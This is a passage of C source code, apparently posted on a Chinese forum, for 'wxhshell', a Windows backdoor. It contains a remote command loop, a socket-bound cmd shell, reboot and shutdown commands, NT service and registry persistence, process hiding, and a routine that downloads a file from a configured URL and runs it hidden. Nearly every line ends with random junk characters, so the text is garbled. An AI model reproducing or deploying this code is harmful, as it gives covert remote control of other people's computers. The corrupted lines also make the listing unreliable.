      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MToQ8qKs  
    break; .G~5F- 8'  
  } 'LLx$y.Ei[  
  // 安装 #%"TU,[+  
  case 'i': { UO<claV  
    if(Install()) R7c)C8/~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *AR<DXE L  
    else -yGm^EwP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1>y=i+T/b  
    break; /,Id_TTCO  
    } 'a?.X _t  
  // 卸载 $ow`)?sh  
  case 'r': { F)kLlsp  
    if(Uninstall()) <9tG_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vXQmEIm  
    else <# r.}T.l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7h/Q;P5  
    break; 0]W]#X4A  
    } +STzG /9#  
  // 显示 wxhshell 所在路径 72vGfT2HtZ  
  case 'p': { =e-aZ0P  
    char svExeFile[MAX_PATH]; x>" JWD  
    strcpy(svExeFile,"\n\r"); TbAdTmW  
      strcat(svExeFile,ExeFile); XPo'iI-  
        send(wsh,svExeFile,strlen(svExeFile),0); igj@{FN  
    break; V9+"CB^  
    } Sc 3M#qm_  
  // 重启 E(+wl  
  case 'b': { -0WCwv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c$:=d4t5$  
    if(Boot(REBOOT)) Nw& }qSN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W(lKR_pF  
    else { oe|<xWu  
    closesocket(wsh); qgsE7 ]  
    ExitThread(0); "d>g)rvOc  
    } ]m#MwN$  
    break; A""*vqA  
    } <L ( =  
  // 关机 y"L`bl A9}  
  case 'd': { O[p^lr(B7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UA4d|^ev  
    if(Boot(SHUTDOWN)) 4?M3#],'h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xb:BIp!e  
    else { fA0=Y,pzv  
    closesocket(wsh); JgKZ;GM:W  
    ExitThread(0); NV(4wlh)y  
    } eEGcio}_I9  
    break; ,W8Iabi^  
    } C*6)Ut '  
  // 获取shell y&=19 A#  
  case 's': { "M0l;  
    CmdShell(wsh); k+r9h'd   
    closesocket(wsh); cPaWJ+c  
    ExitThread(0); iA{jKk=  
    break; r5da/*G/O  
  } z/&a\`DsU  
  // 退出 N z3%}6F:  
  case 'x': { xXxh3 k\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g74z]Uj.B  
    CloseIt(wsh); }%FuL5Tx  
    break; 4|41^B5Y  
    } 1 u_2 4  
  // 离开 .C;_4jE  
  case 'q': { n ,:.]3v%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _AB9BQm  
    closesocket(wsh); ?&<o_/`-H5  
    WSACleanup(); c[RL Yu  
    exit(1); a(DZGQ-as  
    break; Y{2d4VoW6  
        } XL/o y'_  
  } rbuL@= S@*  
  } j484b2uj1  
bb/?02*)H  
  // 提示信息 ytV)!xe  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qM!f   
} xm,`4WdG  
  } V;hwAQbF  
[H:GKhPC`  
  return; sqpOS!]  
} 9}jq`xSL  
!+DJhw&c,  
// shell模块句柄 i|]Va44  
int CmdShell(SOCKET sock) =Pb5b6Y@6  
{ 5 -WRv;  
STARTUPINFO si; [aM'  
ZeroMemory(&si,sizeof(si)); 3AQ>>)T~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X*9N[#wu6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; } wOpPN[4  
PROCESS_INFORMATION ProcessInfo; :{ WrS  
char cmdline[]="cmd"; 'bI~61{A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); } B9~X  
  return 0; P&%eIgAOL  
} hN_f h J  
 e_~fJ  
// 自身启动模式 ;y~{+{{Ow  
int StartFromService(void) "`i:)Et  
{ Tq\~<rEo  
typedef struct d1TdH s\  
{ Jg|cvu-+  
  DWORD ExitStatus; mhi90Jc  
  DWORD PebBaseAddress; pjHRV[`AP  
  DWORD AffinityMask; v]{uxlh  
  DWORD BasePriority; o%WjJ~!zL  
  ULONG UniqueProcessId; 6(J4IzZ  
  ULONG InheritedFromUniqueProcessId; euj8p:+X  
}   PROCESS_BASIC_INFORMATION; T<f\*1~^  
xBRh !w  
PROCNTQSIP NtQueryInformationProcess; {`H<=h__  
M9s43XL(&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I' ! r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $~,}yh;  
]C ~1]7vb  
  HANDLE             hProcess; bH\C5zt6(  
  PROCESS_BASIC_INFORMATION pbi; o`\.I&Ij  
oO#xx)b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mo;)0Vq2l  
  if(NULL == hInst ) return 0; p>:ef<.i  
JpxbB)/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `/w\2n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EY)Gi`lK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K/2.1o;9  
Ob8B  
  if (!NtQueryInformationProcess) return 0; 0Ws;|Yg  
 gmRT1T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .5Knbc  
  if(!hProcess) return 0; )XP#W|;  
-.{oqs$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4N~+G `  
,'C30A*p  
  CloseHandle(hProcess); v. Xoq  
Oz&+{ c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (rr}Pv%yb  
if(hProcess==NULL) return 0; #`La|a.-  
zUs~V`0  
HMODULE hMod; ^Ue0mC7m  
char procName[255]; nw0L1TP/J  
unsigned long cbNeeded; ]am~aJ|L  
aUW/1nQHa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mny'9hsl  
aXdf>2c{JD  
  CloseHandle(hProcess); x" 'KW (  
K DYYB6|  
if(strstr(procName,"services")) return 1; // 以服务启动 {)V?R  
>*dQqJI  
  return 0; // 注册表启动 kDzj%sm!  
} *me,(C  
xMD rE?  
// 主模块 *O@sh  
int StartWxhshell(LPSTR lpCmdLine) 4E=0qbt8  
{ \Z)#lF|^  
  SOCKET wsl; 4!l sk:R  
BOOL val=TRUE; &P 8!]:  
  int port=0; N5nvL)a~  
  struct sockaddr_in door; d/XlV]#2x\  
'h-3V8m^e  
  if(wscfg.ws_autoins) Install(); J=UZ){c>:.  
d5DP^u  
port=atoi(lpCmdLine); $]@O/[  
gbm0H-A:*  
if(port<=0) port=wscfg.ws_port; }B y)y;~  
3{N\A5 ~  
  WSADATA data; c 9rVgLqn!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F =XF]  
"7Eo>g   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R? O-x9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U~aWG\h#X  
  door.sin_family = AF_INET; )YuRjBcp,"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '_B_&is  
  door.sin_port = htons(port); mZwi7s&u  
_6;<ow  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { </.z1 $  
closesocket(wsl); xXF2"+  
return 1; (NX)o P  
}  ]}Pl%.  
[ S5bj]D  
  if(listen(wsl,2) == INVALID_SOCKET) { hwiKOP  
closesocket(wsl); HOE2*4r  
return 1; ibvJWg  
} }wG,BB%N  
  Wxhshell(wsl); wGPotPdE2  
  WSACleanup(); EMLx?JnP  
osl=[pm  
return 0; \}Dpb%^\  
D%-{q>F!gf  
} TWUUvj`.  
2s 7mI'  
// 以NT服务方式启动 e1Ob!N-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MRQZIi  
{ M Hg6PQIB  
DWORD   status = 0; huz86CO  
  DWORD   specificError = 0xfffffff; T?>E{1pS  
PdT83vOCE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5O&d3;p'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [FGgkd}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q uB+vL  
  serviceStatus.dwWin32ExitCode     = 0; Vt'L1Wr0v  
  serviceStatus.dwServiceSpecificExitCode = 0; jZRhKT  
  serviceStatus.dwCheckPoint       = 0; KxY$PgcC  
  serviceStatus.dwWaitHint       = 0; e#.\^   
E#8_hT]5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sxo;/~.p  
  if (hServiceStatusHandle==0) return; u+i(";\  
lX"bN=E?!  
status = GetLastError(); sTkIR5Z  
  if (status!=NO_ERROR) < kz[:n:  
{ jo)6 %w]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i3\~Qj;1  
    serviceStatus.dwCheckPoint       = 0; H)E^!eo  
    serviceStatus.dwWaitHint       = 0; IV0[!D  
    serviceStatus.dwWin32ExitCode     = status; W<v_2iVu  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7F9;Su3.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `)$`-Pw*  
    return; B| tzF0;c  
  } SET-8f  
Txo@ U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c5("-xB  
  serviceStatus.dwCheckPoint       = 0; ~b Rd)1  
  serviceStatus.dwWaitHint       = 0; [(|^O>k8c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qIh #~  
} GB>aT-G7q  
Gg|M+M?+  
// 处理NT服务事件,比如:启动、停止 lyyX<=E{)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^_68]l=  
{ O+_N!/  
switch(fdwControl) ZHCr2^w6  
{ Q[uAIyv0  
case SERVICE_CONTROL_STOP: 77*qkKr  
  serviceStatus.dwWin32ExitCode = 0; cx{T '1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D{cZxI  
  serviceStatus.dwCheckPoint   = 0; # ORO&78  
  serviceStatus.dwWaitHint     = 0; Rn-G @}f  
  { 1}}>Un`U5,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t,h{+lYU  
  } {^J!<k,R\;  
  return; ]dG\j^e|  
case SERVICE_CONTROL_PAUSE: T1W:>~T5#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b#/i.!:a  
  break; U]1(&MgV  
case SERVICE_CONTROL_CONTINUE: \0ov[T N.>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !,Nwts>m  
  break; R"3 M[^  
case SERVICE_CONTROL_INTERROGATE: 'tm$q /&  
  break; g6%Z)5D]!  
}; QL97WK\$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;wR 'z$8  
} RPH1''*!  
B76 v}O:  
// 标准应用程序主函数 vX;HC'%n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K"\MU  
{ 6):Xzx,  
l}rS{+:wK  
// 获取操作系统版本 blahi]{Y9  
OsIsNt=GetOsVer(); #r<?v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y%Ieg.o  
7J|&U2}c  
  // 从命令行安装 |TTS?  
  if(strpbrk(lpCmdLine,"iI")) Install(); X3wX`V}  
'e@=^FC  
  // 下载执行文件 _dU8'H  
if(wscfg.ws_downexe) { 26L~X[F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZCYS\E 7X  
  WinExec(wscfg.ws_filenam,SW_HIDE); &:3Z.G  
} _1L(7|^~y[  
so+4B1$)q  
if(!OsIsNt) { gsPl _  
// 如果时win9x,隐藏进程并且设置为注册表启动 inAAgW#s}  
HideProc(); c #lPc>0xb  
StartWxhshell(lpCmdLine); -.iNNM&a  
} |cDszoT /  
else 0q,pi qjO  
  if(StartFromService()) I :)W*SK  
  // 以服务方式启动 k1='c7s  
  StartServiceCtrlDispatcher(DispatchTable); Y]N,.pv=  
else (K :]7  
  // 普通方式启动 J!TBREK  
  StartWxhshell(lpCmdLine); .A6lj).:  
tmJgm5v  
return 0; c|AtBgvf  
}
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只看该作者 1 发表于: 2006-10-10
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